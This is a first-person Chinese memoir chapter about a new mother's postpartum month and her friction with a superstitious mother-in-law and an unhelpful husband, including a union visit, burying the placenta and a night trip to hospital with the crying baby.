是的,老太太还是要面子的,还是善良的,她还是有底线的。我们这以后也还是有来往的。她在帮我带孩子这一块是有足够的功劳的,老太太老了我还是要好好地给她养老的。我们这里讨论的,是有底线的善良的婆婆。那些刚烈的蹦起来能把儿媳妇大卸八块的,高扬着自由民主的大旗去风流快活对儿孙不管不顾的,这以后,她们的儿媳跟她断绝关系井水不犯河水的,不在我们的讨论范围之内。 “小老虎,奶奶要走喽!”她坐在床头儿,跟襁褓里的孩子说。我听了有些心酸。我那时候还是躺着。我产后因为生产、侧切,胳膊上还有滞留针,浑身疼,只能躺着。我的宝宝也在我旁边的小婴儿车里躺着。 我想了想,宝宝那么小,老太太带惯了,她对宝宝蛮用心的,伺候宝宝拉屎拉尿睡不好觉也很辛苦,程云未必能受得了这份辛苦。而且,毕竟是亲奶奶。她带孩子,比谁带都让我放心。程云再好,毕竟是异姓外人。为了宝宝,我决定不让程云来。老太太还是继续带孩子。 我说:“妈,你别走了。还是你伺候宝宝吧。你是她亲奶奶,没有谁比你更贴心了。我哪里想让你走啊。可是,你别老是给我脸子看。凭良心说,我看你打孩子,我心疼,跟你说不要打了,也算正常吧?你干嘛要跟我吵呢?你看在我刚生完孩子的份儿上,也不能跟我吵啊?” 老太太一听不要回去了,很高兴。她说:“好的!好的!” 端午跟她说了:“她坐月子,你以后不要跟她吵架。你再跟她吵架,就让你走。”端午遇事站在我这边,替我说话。我很欣慰。 夜里,我做了一个恶梦。梦见我婆婆是神经病。我去跟公公说,公公偏向婆婆,把我从一个平房的二楼顶上推了下来。 我还在坐月子的时候就做了一场恶梦。 是的,产后,我还在住院的时候,我的婆婆就让我做了恶梦了。 是的,我产后刚生完孩子,还躺在医院的病床上,就做了这样的恶梦。 这就是我的婆婆,这就是我的婆家给我这个产妇的待遇。 我妈妈经常跟我说,梦是反的。我也希望梦是反的,我的婆婆可以通情达理。我不至于产前、产后都受她的气。 而此后我的婆婆的种种行为表明,这个梦对我是一种善意的提醒。很多事,正常人做不出来,我的婆婆做地出来。很多话,正常人说不出来,我的婆婆说地出来。 人家说不要跟神经病一般见识,可是神经病说地话、做地事能把正常人气死。跟神经病一起,能把人搞成神经病。你被神经病给气死了,人家还得说你是神经病。 你跟谁说理去? 跟老公说吗?说一次,他还可以为你说句话,说多了,就变成你的不是了。你怎么那么多事的。他的妈妈跟他一起那么多年,也没有那么多事,怎么一跟你这个儿媳妇一起,你就天天说她的不是?跟老公公说吗?老头子这么多年,跟老太太早就浑然一体了。他是向着毫不相干的你,还是向着跟他相处几十年的老太太? 老太太安安静静、源源不断地说坏话、干坏事,你受不了,被气地捶胸顿足,大吵大闹,那就是你的不是了。你看老太太多无辜,多温柔。她干坏事也干地温柔,干地体面,哪像你,为了孩子,不顾形象,泼妇一个,你哪里还是一个合格的好女人。 我上网看了一下,很多产后抑郁乃至自杀的妇女,都是因为跟婆婆住在一起。那些可怜的年轻的妇女,那些可怜的孩子! 本以为通乳以后会慢慢地有奶了。谁知道,我跟婆婆一起,每天不是生闷气,就是委屈流眼泪,我直接没有奶了。宝宝只能吃奶粉。 41. 婆婆鼓着龅牙说:“晚上出生的小老虎福气不好” 1.工会来探望 出院的那天是星期天,端午来接我们。老太太先把东西送下去,再来抱着宝宝,我跟她一起下去。孩子出生七天了,才看到孩子爸爸。他的脸像白纸一样的平静,见了我,大概是照例说了一句:“辛苦了”,然后什么也没说。没有激动,没有拥抱,没有拉手。自从我怀孕以后,我们就从来连手都没牵过了。总之,我感受不到他的任何的温暖。 端午说:“我爸爸说,他感冒了。我就不让他来看宝宝了。等他感冒好了再来看宝宝。别让他过给宝宝了。” 我说:“好的。” 时间正是上午,这世界,阳光明媚,桃红柳绿,暖风袭人。我的宝宝来到这世界了,我们回家了,这是一个吉祥的好兆头。 到家以后,我说:“我来抱着孩子,让你妈先洗澡吧。她在医院没有好好洗个澡。” 端午的妈妈去洗澡了,她洗完澡出来说:“才好!才好!” 我说:“我在医院里十天都没洗澡,我也洗个澡,刷个牙去!” 端午的妈妈说:“你在月子里,不要洗澡啊,擦擦就行了。也不要刷牙。” 我说:“我都十天没刷牙了,你夜里还给我吃香蕉。我牙齿脏地难受怎么办?” 老太太说:“牙齿用布擦擦就行了。” 我说:“人家医生都说,要科学坐月子。我都十天没洗澡没刷牙。够厉害的了。我刚从医院出来,肯定要洗个澡的。不洗太难受了。” 老太太说:“难受了就擦擦,不要洗澡。” 我说:“擦地反而凉,还不如洗个澡暖和。” 等我洗完澡,换完衣服,端午看着我的脸说:“大省的脸怎么肿了?” 我说:“我牙疼。我夜里出汗,病号服都湿透了。一夜换几次衣服。可能是着凉了。也可能是因为多少天没刷牙,口腔不卫生。” 端午的妈妈冷冷地瞥了我一眼,不说话。 端午跟他妈妈说:“你在家看着宝宝。我带着大省去医院看看去。” 婆媳关系相处的很多细节,决定了婆媳关系的好坏。儿媳不是傻子,有察言观色的能力。婆婆一开始的时候冷漠地对待儿媳。儿媳慢慢地寒了心,婆媳关系就再也好不了了。而且,从很多细节我觉得,婆媳毕竟是婆媳,夫妻终究是夫妻。关键时刻,真正关心你的,是你的另一半。 从医院回来以后,端午说:“明天我请一天的假,我们去给宝宝办准生证吧。” 我说:“我还在月子里呢。我生完孩子才十天呢。” 端午说:“我对你那边的派出所、社保局不了解,你跟我一起去吧。” 就这样,我穿着厚厚的睡衣,顶着四月的阴冷的凉风跟着他到处跑。 派出所的人看了看我说:“刚生的孩子啊?” 我说:“嗯。刚生完孩子十天。” 他说:“我对你有印象的。” 我笑笑说:“是的。我上次来,是离婚以后,来你们这儿办户口。” 他边帮我登记信息边说:“你还在坐月子嘛,月子里不能出来的!” 我说:“没办法,他对我这边的派出所、社保局不了解。” “宝宝外祖父、外祖母的名字。”他问我说。 我听了以后有些担心,我说:“啊?我的事情有点复杂。我爸爸去世了,我妈妈的身份证还是山东的,她几十年也没换过吧。” 他没再说什么,他操作了一下,跟他的一个助手说:“小张,接下来的事项你帮她办。外祖父、外祖母那一栏,我处理过了。你不要问了。” 我说:“谢谢您啊!” “没事儿!”他说。 办完事儿,端午说:“我给宝宝买的小床到了,我去拿回家。” 我跟他一起开车到了物业门口。他把车子停在那里,他下去去拿快递。那些快递板块有点重,他一个人搬得有些吃力。 “大省!”他喊我。 我在车里坐着不动。我没好气地说:“你喊我干什么?我还在月子里呢!我已经陪着你到处跑了!你还要我下来帮你搬东西吗?” 是的,什么东西!居然让月子里的女人帮他搬东西!知道为什么我总是跟他吵架了吧?这样的活物,我能不跟他吵架吗? 端午听了我的话不吭声儿了,他自己吃力地把那些板块搬到车上了。 我说:“看你的意思,我要是下来帮你搬东西也行的。你是一点都不知道体贴我!宝宝的小床我说不要买的,你非要买。你买个千把块钱的就行了。你非要买个两千块钱的。她用一年就不用了。” 端午说:“给宝宝用的,当然要好一点的。” 我说:“什么给宝宝用的。你就是在那个售货员小雪那里充大方的。你对她有好感。我知道。” 端午说:“我什么时候对她有好感了?” 我说:“上次买吸奶器的时候你就跟我说,不买不好意思呢。你要是不喜欢她,你为什么会觉得不好意思。这回我躺在病房里管不着你了,你跑到她那儿充大方去了。” 端午说:“我哪是充大方的?我都是为了宝宝。” 我说:“你拿着宝宝当幌子的。你别以为我看不出来。另一个售货员,芳芳,不是也蛮好的?就是因为她年纪大了,你就不喜欢人家。你还说人家是大妈。你看芳芳的时候眼里没有光,跟看那个小雪的眼神不一样。” 端午说:“行行!那以后宝宝的东西你去买。” 我说:“我去就我去!我不喜欢小雪。她看我打扮地不好就瞧不起人。一听说我工作不错,她的态度又变了。她还特别强势,我买什么都要跟她说,要算她的业绩。我一时不跟她说,她就不高兴。” 杨编辑知道了我生孩子的事,发信息跟我说:“你什么时候方便,我去看看宝宝吧。” 我说:“不用麻烦了。等我上班以后大家都会看到我的。你们上班太辛苦,出来一趟不方便。我呢,在家照顾孩子,孩子一会儿要吃奶,一会儿又要换尿不湿的。也怕招待不好你们。” 我跟端午说:“阿杨说要来探望我,我给回绝了。她们来探望,其实就是办公室里每个人出二百块钱。让阿杨带着来。郝跃要是好奇的话,说不定也会跟着来。我们办公室一共五六个人,也就千把块钱吧。我不想要了。” 端午说:“要要要!你让她们来。” 我说:“我不想要。谁愿意出钱啊?前阵子,陈编辑的岳父去世、乌编辑的父亲去世,大家各出了二百。掏钱的事情,谁也不高兴。我又不是黄社长。黄社长动手术,全社的人出资探望,大家各出了二百。说不定有人暗地里出地更多。谁也不敢不出,谁也都想多出。我的事,人家怎么想出钱呢?说不定有的人还恨我呢。我年近四十才生孩子,这是我的大喜事,我何必招人家的恨呢。” 端午说:“那行吧,随便你吧。” 隔了一会儿,他又说:“你要着要着!该谁出钱谁出钱。他们有事你也出钱了。你不要白不要。” 我说:“我不想要。我为人家省钱,人家只会高兴。我为什么不让他们高兴呢。不就千把块钱吗?我要了他们的钱,说不定还得请他们吃饭呢?你想去张罗吧?反正我不想去烦。你要是想要钱,马上工会的来看望产妇。那个钱可以要。反正是例行公事的。” 端午说:“那行吧,到时候,你和我妈在家?” 我说:“嗯,让你妈看着孩子,我去买几分礼盒。按理说我还在月子里,才出院十来天,我不该出门儿的。其实,这些事,人家那些好婆婆会帮儿媳妇买好的,哪里还要月子里的儿媳妇自己去。但是你妈不行。她那个态度就是摆明了只出力不出钱。她给我的感觉就是,让她花一分钱,她都会紧张害怕,吓地魂飞魄散,所以任何花钱的地方她都不吭声。我也就不让她帮我置办了,免得让她担惊受怕。” 端午说:“行,那你就自己去吧。” 就这样,我在出院后不到十天就让老太太带着孩子,我自己只身去了糖果店,买了五六份礼盒,打算作为回礼送给前来探望我的人,每一份大概是二三十块钱。糖果店的女老板装了一个大袋子给我。我因为产后十天,不敢拎重物,怕落下腰疼病,就打了车,女老板把一大袋子糖果给我送到马路边上,我让司机师傅给我送到我家楼下。到了楼下,我又不敢拎了。正好有个保洁大姐,我就让那大姐给我送上楼。 没几天,工会领导跟我联系,要来看望产妇了。 我跟老太太说:“妈,明天工会的人要来看望产妇了。你先不要去买菜。在家等等,帮我接待一下。” 老太太说:“好的。我把家里好好收拾一下吧。” 我说:“不要收拾,房子就这么大,你收拾地再好也没有用。没事的。我们打扫一下,拖拖地,干净整洁就行了。工会来看望产妇本来就是例行公事,会给一千块钱的信封,这是惯例。” 我知道,我那些同事,不管是中年人生二胎,还是年轻人生头胎,家里都是非富即贵,房子不是别墅就是联排,要不就是大房子。而我们住的还是我自己婚前买地八十多平的小房子。端午在县城还没有房子,他只有他老家的一套拆迁房。我本来跟他也没图他的物质条件。我比他大。在我跟他的相处中,我除了年龄,其他的条件都比他好很多。只是我这个条件好,也仅限于跟端午相比而已。在我那些真正的条件好的同事面前,我依然是一个穷人,我家的这个小房子他们实在看不上眼。我也知道这些,但是没办法,该来的总是要来的。 这暂且不提。那天,我们打扫好了卫生,静坐着等工会的人来。我知道,人家也是例行公事,人家也是繁忙。我跟老太太等了一会儿,不见人来。 老太太说:“她们怎么还不来?我去买菜去了?”那时候因为我还在休养,端午就把生活费给她,让她买菜做饭。 我说:“行吧。我自己在家。也没事儿的。” 我自己在家抱着孩子等人,不一会儿,工会的人到了楼下,我抱着孩子下去开门,跟她们道辛苦,把她们带上楼来。我家房门打开的一瞬间,我估计让她们失望了。说实话,人家也不是失望,是人家压根儿没有想到,我家房子这么小。 那个年纪大一点的女领导有点懵,她可能在慰问产妇的时候没有见过这样的小房子。但是,另一个年轻一些的小潘反应很快很镇定,她进了门,看到了我的宝宝,立马就去洗手。 “我要抱抱孩子!”她说。 我的孩子很乖,小潘把她抱在怀里,直夸她白:“你看她的手多白。” 我说:“随她爸爸。不瞒你说,你们来之前,我刚喂了奶,有点手忙脚乱呢。” 那位年纪大点的女领导说:“我告诉你,要得小儿安,三分饥和寒。你不要喂地太频繁。” 我说:“知道了。我们换尿不湿换地很频繁,一天一夜要换接近二十个尿不湿。” 小潘说:“我告诉你,孩子尿没尿,看看尿不湿就知道了。” 她指着尿不湿中间的黄线说:“当这条线变绿的时候就可以换了。” 我心里想,我们都是用手摸摸,用手一摸,只要尿不湿有尿了,我们就换,哪管它绿不绿呢。但是人家说说,我就听听,我就顺口答应着。 端午去上班,老太太去买菜,工会来探望产妇,家里就我一个人抱着孩子。我家房子又这么小,没有什么值得欣赏的地方,两位领导可能都觉得有些失落。 那位年纪大一点的领导忍不住疑惑地说:“这是个旧房子吧。” 我说:“是我的房子,我婚前自己买的。我老公的房子在他们老家,我们结婚没让他们家买房子。”那位领导恍然大悟。她可能本以为这是孩子爷爷奶奶家的旧房子,没想到就是我们现在住地房子。我家不仅房子小,房间里一应设施也是毫无档次的。我知道我家跟人家那些同事的家里实在不能比。我也没有脸红,我很淡定。 我说:“实话跟你们说吧。因为小房间买地新床,老太太怕有甲醛,这些天都是带着孩子在沙发上睡的,你们来了,她才把被窝拿进去。” 那位年纪大一点的领导可能觉得这样问不太好,会让我很没有面子。 她可能觉得自己问多了,一时不知道说什么。 她就抓住我的手安慰我说:“唉,没事的,什么房子都是住。房子小一点,反而好打理。” 我说:“嗯。你来一趟,辛苦啦,喝点水吧。我才买的一次性杯子。” 不知道是渴了,还是怎么回事,那个年纪大一点的女同事真地接过水杯咕咚咕咚喝了几口。 喝完水,她看看我家的房子说:“我给你开开窗子吧,你不要透气吗?” 我说:“好的,谢谢你。” 两个同事也是有一搭没一搭地没话找话说。我知道人家也忙,但是我也不好先提出来让人家走,就配合她们说话。 这时候,孩子尿了,我一时不知道是先该给孩子换尿不湿呢,还是继续跟她们说话。 小潘非常有眼力见儿,她赶紧说:“你赶紧换尿不湿,我们走了!” 她这样一说,那个年纪大一点的女同事也就不再说什么了,也起身跟她走了。 我说:“你们把门口的礼盒带上吧。别客气。” 她们第一次感到有点惊喜地说:“还有礼盒呢。” 我说:“必须的,你们来一趟那么辛苦。你们回去慢点,我就不送你们下楼了。” 她们说:“你好好带孩子吧。”说着就下楼去了。 唉,人家工会的同事来一趟,看到了我这样寒碜的家,倒是比我还要尴尬。我的心里很不好受。我当初选择端午真地没有在乎他在县里有没有房子,但是我自己的小房子真地经不起外人的参观。我自己的面子无所谓,我只觉得对不起孩子。 几天后,我们回到了端午的家。中午,老太太跟我一起在卧室里给宝宝洗澡。我的手机响了。我看了看,是徐颖妹妹发的信息:“我生了,刚才生的。就用了十分钟。是个男孩。” 我就跟老太太说:“那个徐颖妹妹生了,是个男孩。刚生的。” 老太婆又说了:“中午生的小老虎福气好,晚上生的小老虎福气不好!” 我听了她的话很是郁闷,可是碍着面子,又不好直接说她。只是我非常不解,她明明对小孩子也很用心,为什么要说这种鬼话呢!我憋了一肚子的火。 又过了几天,我自己坐公交车回青提区,去给宝宝办打疫苗的本子。 车上,一个大姐跟我说:“你是刚生完孩子吧。” 我说:“是的。你怎么知道的?” 她说:“你裹地那么严实,我一眼就看出来了。你这是干嘛去啊?” 我说:“我去给宝宝办疫苗本子。” 那个大姐说:“怎么不让孩子爸爸去?” 我说:“她爸爸要上班。没时间。” 中午,我一个人睡在我的床上,虽然只是离别半天,愧疚加心酸,我是那么想念我的孩子。我流着眼泪在心里喊着我的孩子:“宝宝,宝宝!” 我稀里糊涂地快睡着了,迷迷糊糊中,我看到我不到一个月的孩子,穿着她乳白色的带绿色点点的上衣,拿着她绿色盖子的奶瓶,跟人哭闹说:“我的我的,都是我的!” 我心里更加难过了。我想,妈妈所有的当然都是你的,妈妈什么都可以给你,可是妈妈真地没有什么更好的给你。妈妈真地很心痛,妈妈对不起你。 “宝宝!宝宝!妈妈好想你。”我在难过和哭泣中睡去了。耳朵里是同一幢楼上邻居装修的电钻声。 我给宝宝办好了疫苗本子就回白陆了。端午的老家在白陆。月子里,我是想住在青提区我家的,青提区离医院近,宝宝有任何事情,花大概三十块钱就可以打车到医院。端午的老家白陆距离市里的医院太远。宝宝要是跑医院,打车去一趟医院就要花一百块钱,而且来去时间更久,要是晚上,那就更远,更不方便了。老太太当然想住在她自己的老家,端午顺应他妈妈,也想住在他自己老家,没有人真正为宝宝考虑。最近邻居装修,老太太更是借故跟我翻着她那本来就几乎要眯成一条缝儿的白眼,恶狠狠地看着我,给我压力。她那意思是这里装修,有噪音,赶紧回她们老家去。至于宝宝有事要投医,她可不管。 2.“开大灯!” “开小灯!” 老太太跟我说:“那个胎盘,我们不忍心吃。你看看谁吃。要不就送给你娘家人吃。”我想。胎盘是我的血肉,我公公婆婆,我是肯定不给他们吃的,他们吃了,我肯定恶心他们一辈子。我妈妈以前说过吃胎盘好的,我弟弟因为我妈妈怀孕的时候贫血,他的身体也有些贫血。要不留给他们?又一想,给我自己的爸妈吃了,那端午不是也会恶心他们,恨他们吗?而且,那是我跟我的孩子血肉相连的东西,即使给我自己的亲人吃了,我也是会不高兴。那我就谁也不给吃。就给它埋起来。 我跟端午说:“那个胎盘,我们给它埋起来吧?” 端午说:“埋起来,埋起来!” 老太太说:“这个东西人家买都买不到,买一个要三四百呢。”我不吭声,再贵我自己也觉得恶心,吃不下。谁吃我的东西,我也会觉得她恶心。 第二天下午,太阳下去一点的时候,我就跟端午下去,打算找个地方把胎盘埋了。 埋在哪里呢?我本来想找个田地,深挖掩埋。端午懒地走远,就要埋在附近。他走到他停车位前头的绿化带里开始挖洞。他手里就拿了一个削皮的水果刀子,他蹲在地上一点点撬起泥土来掘洞,不知道的,还以为他在过家家。天气热,他热地满头大汗,还没有掘起来几块泥土。我说:“这个肯定要大铲子啊。你上去拿一个大铲子。你选的地方土质太干了。你换个地方。” “换到哪里?”端午说。 我看到端午房子前方的一块土地松软潮湿,明显好挖。 我说:“你去那里挖坑。” 端午挖了几下,就说:“行了!” 我说:“不行的,要挖地深一点。你不懂。” 他头脑简单,心眼不多,我不好跟他多说。我的意思是不深挖的话,说不定过后来了一只狗,就给扒开吃了。这些事儿,端午哪里想得到,他只知道我在难为他。 天有点热,他挖地很不情愿。我在一旁看着,他又不好不挖。他干活的样子,我其实看着也难受,我如果不是在月子里,我就自己动手了。 我说:“不行的,不能挖地太浅。要挖得稍微深一点,才能彻底埋下。” 端午看了看塑料袋子里的东西说:“啊,这个胎盘这么大啊。”我之前也不知道。我就看了一下。原来胎盘真的蛮大的,大概有一二斤牛肉那么大吧。我说:“所以要深挖一点嘛。” 端午不能吃苦。他挖了一会儿,脸上直往下淌汗。 他仰起脸儿,看着我说:“行了吧?”他的脸白白的,冒着汗,在夕阳的映照下,像个被老师压制的小男孩似的。我虽然对他的土木工程不是很满意,也只好说:“行吧。” 端午把胎盘放进他刚挖的洞里去。我说:“你放好,埋好,用脚好好踩踩。” 端午用脚使劲踩了踩,说:“行了。” 我还是不放心,让他再踩踩,他又踩了几脚,我才稍微放心一点。后来的一天,我自己来楼下看了看,那个埋胎盘的地方,泥土还是平的,我才放心。 月子期间,我婆婆给我带孩子。夜里也是她带。我夜里起来帮忙冲奶粉刷奶瓶。老太太迷信,非要开着小灯睡。 “宝宝小,要开着灯睡!医院里不也是开着灯吗?”老太太斜着她的白眼说。 我说:“行吧,回头我再买几个小灯,也方便夜里冲奶。” 晚上,老太太带着宝宝,我睡下了。端午还不睡,他靠在床上,两手端着手机打游戏。 不知道他玩地什么破烂玩意儿,他双手端着手机,两眼直勾勾地盯着手机里的游戏,紧张地打起来,他像是被电击了似的,两手颤抖,双腿发癫,震地床都在乱动。 “你干什么啊?跟神经病似的!恶心死了!”我说。 “马上就结束了!玩一会儿,现在太早,睡不着。”他盯着手机屏幕说。 “你玩地是什么游戏?跟羊癫疯发作了似的!我还在坐月子呢,我受不了。太恶心了。跟贾瑞拿着风月宝鉴似的!”我说。 “行!那以后不玩这种游戏了。”端午说。 “你以前玩的也不是这种啊!”我说。 “嗯,以后还是玩以前的那种。”端午说。 不一会儿,他恢复了平静,熟悉的台词又响起来了! “吾乃燕人张飞,谁敢与我一战!” “愿承父志,与公瑾共谋天下!” “吃我一记铁蒺藜骨朵!” 夜里,宝宝睡不着,哭闹。我们就一起过去看她。 老太太煞有介事地发号施令:“开大灯!”意思是有鬼! 宝宝还是哭。 “开小灯!”老太太像个专家一样,又改变了策略。 房间里亮亮的,宝宝哪里睡得着。宝宝睡不好,每天蹬着小脚丫哭到半夜,哭地撕心裂肺,怎么都哄不好。我们也着急,就是不知道到底是怎么回事。 我说:“一月黄、二月肠。宝宝哭闹也许是肠绞痛。” 我把宝宝接过来抱,跟端午商量:“宝宝哭地不正常,不行就去医院。” 端午说:“好的。” 老太太又开始装神弄鬼了,她说:“我去阳台上把宝宝的衣服拿下来哈!” 我无奈地冲着她的背影说:“你不要去!你不要去,没有用!”我不想看她的故弄玄虚的表演了。 端午也说:“宝宝哭成这样,肯定是有问题。你不要做怪梦!” 老太太听了不高兴了。“我去上厕所!”她说。 我跟端午说:“你不是要把宝宝给她养吗,宝宝哭闹,她从来不敢提出来去医院,怕连累她花钱。她自己一生病就赶紧挂水,宝宝一生病她就装神弄鬼。你放心让她养吗?” 端午说:“我不放心。” 我说:“她不是搞迷信,她是聪明,她从来不提带宝宝去医院,去医院要花钱,她要是提议去医院,要是万一花了她的钱怎么办。装神弄鬼不花钱,还能故作高深地举行一次表演,这么好的事,她何乐不为呢?” “其实给宝宝就医的钱我也花地起,只是老太太对自家孙子太抠门了,她从不主动给宝宝花一分钱。从她唯一一次陪我产检到宝宝出生,她是咬紧牙关拼了老命来坚守着这个原则。我感受不到婆婆的真心实意,反而感受到了她咬紧牙关要跟我和我的孩子划清界限的顽强意志力。” 端午说:“宝宝哭地撕心裂肺的,多可怜啊!” 我说:“怎么办?我们也帮不上她。不行,我们带宝宝去医院吧。” 端午说:“好的。” 我说:“你明天要上班,我跟你妈妈一起去医院,你在家里休息。我们打车去。从白陆到市里太远了。你回头给我们打个电话,给我们壮壮胆儿。” 端午说:“好的。” 端午的妈妈说:“你是产妇人哎。不能出去受风。” 我说:“没事儿的。我穿着睡衣去。让端午睡觉吧。他明天还要上班呢。” 就这样,我拉了拉睡衣的帽子,顶着凉风,跟他妈妈一起抱着孩子去医院。 从医院回来的时候,已经是半夜了。我坐上司机的车,有些害怕。看看端午的电话也没有打过来,我就给他打过去。 “喂!我们回来了。”我说。 “哦!”他说。 “我不是让你给我们打个电话吗?你怎么一个电话都没有的!我还在月子里呢,我体贴你,你都不体贴我的?” “哦,刚才睡着了!睡着了!”他说,“你们到哪了?”他的语气里并没有十分地关切和着急。 “刚出了医院。挂了!”我说。 “还在坐月子呢?你老公怎么不来啊?”司机说。 “他不是要上班嘛。”我说。 “上班也得顾孩子啊。”司机说。 “他做事,我不放心。”我说,“你看看就这样的,我能放心吗?我主动要带孩子去医院,其实也不单是为了他,我也是为了孩子。” 是的,他做事我不放心。他跟他那个昏聩的母亲一起带着我的孩子出去,我更加不放心。 下半夜,宝宝终于睡着了。我也回到我们房间睡觉了。 “当当当!”老太太的电话响了。她不接。 “当当当!”老太太的电话又响了。她还是不接。 我走到她房间里,看见她就坐在那里,她的手机就放在窗台上,宝宝难得地睡着了,她在生闷气。 “当当当!”老太太的电话又响了。她还是不接。 我问老太太:“是谁的电话啊?” 老太太说:“你爸爸的。” 我说:“你接呀!你不接,老是响,会把宝宝吵醒的!” “不会!”老太太说。 “当当当!”老太太的电话又响了。她还是不接。 “你接呀!你不接他会一直打,电话一直响。宝宝难得地睡个觉,就被你们给吵醒了。” “不会!”老太太说。 “当当当!”老太太的电话又响了。她还是不接。 “电话一直响,你怎么就是不接啊。你们有什么事你们自己随便闹,现在宝宝睡觉呢。你的电话一直这样响,会吵醒宝宝的。你要么接,要么直接关机!”我着急地催她说。 “好!我接!” 老太太终于接了电话。她接了也不吭声儿。 我听到电话那边老头子的声音:“喂!你不是给我打电话吗?我就在家里,我没出去啊!”我听得出来,老头子有些不高兴了。 老太太不说话,那边的电话也就挂了。我回到我们的房间。 端午也醒了。 “怎么了?电话怎么一直响的?”他睡意朦胧地问我。 “你爸爸一直给你妈打电话,你妈赌气一直不接。”我说。 “唉!我妈妈又查我爸爸的岗了。我妈妈对我爸爸不放心。”端午有些凄惨地说。 “你妈妈查你爸爸什么岗?你妈妈怕他出去找女人啊?老太太来带孙子,老头子闲地发慌就出去鬼混了?真有意思!”我说。 白天,端午去上班,我跟老太太一起在家里带孩子。四月份的天气,她抱着宝宝,宝宝的小脚丫露在包单外头。 “宝宝的脚丫露出来了。”我提醒她说。她听了我的话,不高兴地搂一把包单,把宝宝包一下,翻着她的小眯缝白眼说:“她自己蹬的!” 是的,这老太太,我是知道她的,她比谁都好强,比谁都顽固。你不能说她一点不是。她的面子,那是比宝宝的冷暖等等的切身利益更重要的。 出生几天的婴孩,她知道什么,就是三九严寒,她也会蹬。就是冰天雪地,她也会光着屁股跑上去,她只是一个婴儿,她什么也不懂,任何责任不都是大人的责任吗?倒不是我嫌你看护孩子不注意,谁都有不注意的时候。可恶的是,你一个六十岁的老人,怎么能把任何好处都揽到自己身上,把任何责任都推给自己的孙子的? 老太太跟我说:“你抱着宝宝,我去拖地哈。” 我说:“好!我来铺一下尿垫,你直接把她放在床上。我带着她睡。” 老太太抱着宝宝在床边等着,我弯下腰来铺尿垫。那是我买的白色的一次性尿垫。 “好了,放吧。”我说。 “不行!往上一点!”老太太说。 我把尿垫又往上拉拉。 “往下一点!”老太太说。 我又把尿垫往下扯扯。 “好了吧?”我说。 “不行!再往下一点!”老太太说。 我又把尿垫往下扯扯一下。 “好了吗?”我问她。 老太太不说话。她抱着孩子,左腿单脚站立,右腿伸出来,用穿着黑丝袜的右脚把尿垫往下拖了一下。 我看了一眼说:“这跟我之前整理地也没多大区别啊。”老太太不说话。感情,在她的眼里,我还不如她的一只脚呢。这老太太太会侮辱人了。 是的,我后来对她的反感反击为什么那么大,就是基于她前面干地那些坏事,说地那些坏话。我们的关系就是这样一点点地恶化的。 她把孩子递给我,我抱着孩子光脚坐在床上。 她看着我的脚说:“这脚多难看啊,你看我的脚,漂亮吧!”她说着把她的黑丝袜脱下来。 我看看她那脚指头,一根一根地长度一致,像蒜瓣子,也谈不上漂亮啊。那脚指头唯一的优点就是长度一致,比她的牙齿整齐多了。她的牙齿像把芭蕉蒲扇,展翅翱翔在她的上嘴唇下面,从两边到中间依次增长,中间几根最长,长地把她的嘴唇撑开着,使她不能闭合不能咬合了。因此她的嘴无意间常常是张着的,侧面看像是大热天里伸着舌头。 我跟她说:“妈妈,你长得蛮洋气的。” 她沉醉地说:“嗯,遗传了外婆的一点!否则还要好!” 妈呀,这老太太是高度自恋啊! 她从她的神秘的小包里拿出她的努力地紧闭着嘴巴的照片,跟我说:“拍地好吧!” 我说:“好!” 宝宝熟睡了,两只眼睛闭着,长长的睫毛露在外面,像两个弯弯的月牙儿。 我看着宝宝说:“宝宝的眉毛蛮好看的,不像我,也不像端午。我的眉毛太稀,也不长,端午的眉毛太短,也没有形,像两团小乌云似的。” 老太太的眉毛猛地跳动了一下。她得意地说:“我的眉毛,蒿(好)看!”我看了一下她,这一看不要紧,我发现她那眉毛尖子尖尖的,像六十度的三角形的一个角,毕竟岁数大了,毛发稀少,整个眉形像秃了的毛笔头儿了。 “妈呀,像个男的!”我说。 老太太去拖地了,她拖着地说:“都是头发!” 我说:“女人生完孩子掉头发很正常啊。人年纪大了也掉头发的。那么多头发也说不清是你的还是我的。” 老太太问我说:“我有一件衣服,是新娘子的,大红的,蛮好的。你穿吧?” 我说:“我不喜欢大红色。你不是爱穿红色嘛,你留着自己穿。对了,你那新娘子的衣服是从哪里搞来的啊?” 她说:“是我从垃圾桶里扒出来的。” 我说:“那我更不要了,现在谁也不缺衣服。不像小时候。我小时候都没有衣服穿。冬天了,还穿着夏天的衣服。” 她昂起脖子骄傲地说:“我小时候有衣服穿!我夏天是夏天的衣服,冬天是冬天的衣服!” 是的,她是要时刻炫耀她什么都比儿媳妇强的。她是要时刻抬高自己,打压别人的。 我问她:“你的衣服都是谁给你买的啊!” 她说:“都是我父亲给我买的。我父亲是工人。我现在的衣服都是你爸爸给我买的。” 我说: “啊?爸爸对你那么好啊,端午都没给我买过衣服。” “端午的钱都给你了!”她悻悻地说。 “我不要别人的钱!”她骄傲又鄙夷地说。 这老太婆,又开始咬我了! 我说:“妈妈,端午每个月只有三千五百块钱,你心里没数吗?这点钱够养家的吗?我一年挣地钱是他的几倍。我养孩子付出的钱比他的多的多了!你呢?你的钱都是留给你自己的吧?家里花钱的地方都是爸爸出吧?你自私自利!女人为男人生孩子,男人就应该把钱交给她养孩子!男人给她钱,那是女人的本事!爸爸不给你钱说明你没有魅力!我都不说你,你为什么老说我呢?你儿子没本事,你自己没本事,你还天天想咬我,你太拎不清了!” 老太太听了我的话,默默地,不说话。是的,她就是这样,她先去咬别人,等别人反击她时,她就不说话。 半夜里,老太太到我们门口儿喊我:“大省,你来看一下宝宝。我出去一下。” “好的。”我应声儿起来,到了小房间里,去看着宝宝。我看一下窗台上的长方形的粉色小闹钟,当时是夜里三点。 “这个点儿,你出去干嘛啊?”我问她。 “有事。”她说。她说完就闷闷地出去了。没多大会儿,我听到外面一阵狗叫的声音。老太太是走在外面的大街上了,这个点了,她出去干什么呢?我知道了,她是去她大儿子那里。端午说过,他大哥陆陆一个人闷在家里,谁喊也不开门,只给他妈妈一个人开门。 果然,没一会儿,老太太又回来了。我去给她开门。 “你去陆陆那里了?”我问她。 “嗯。你是怎么知道的?”她说。 “这个点儿,除了他,还有谁。我听端午说过,陆陆白天不出来,都是夜里活动。肯定是陆陆有什么事,喊你去了。”我说。 “你去睡会儿吧。还早呢。”她说。 “嗯。你也好好睡会儿。”我跟她说。 第二天,老太太抱着孩子,我去我房间里用吸奶器吸奶。奶很少,吸不出来。吸奶器嘟嘟地响上半天,才吸出来一点。宝宝很爱吃娘奶。每次我吸完,她都要急着吃。 老太太把宝宝抱过来说:“要吃你妈的鸦片了!在那抽的!” 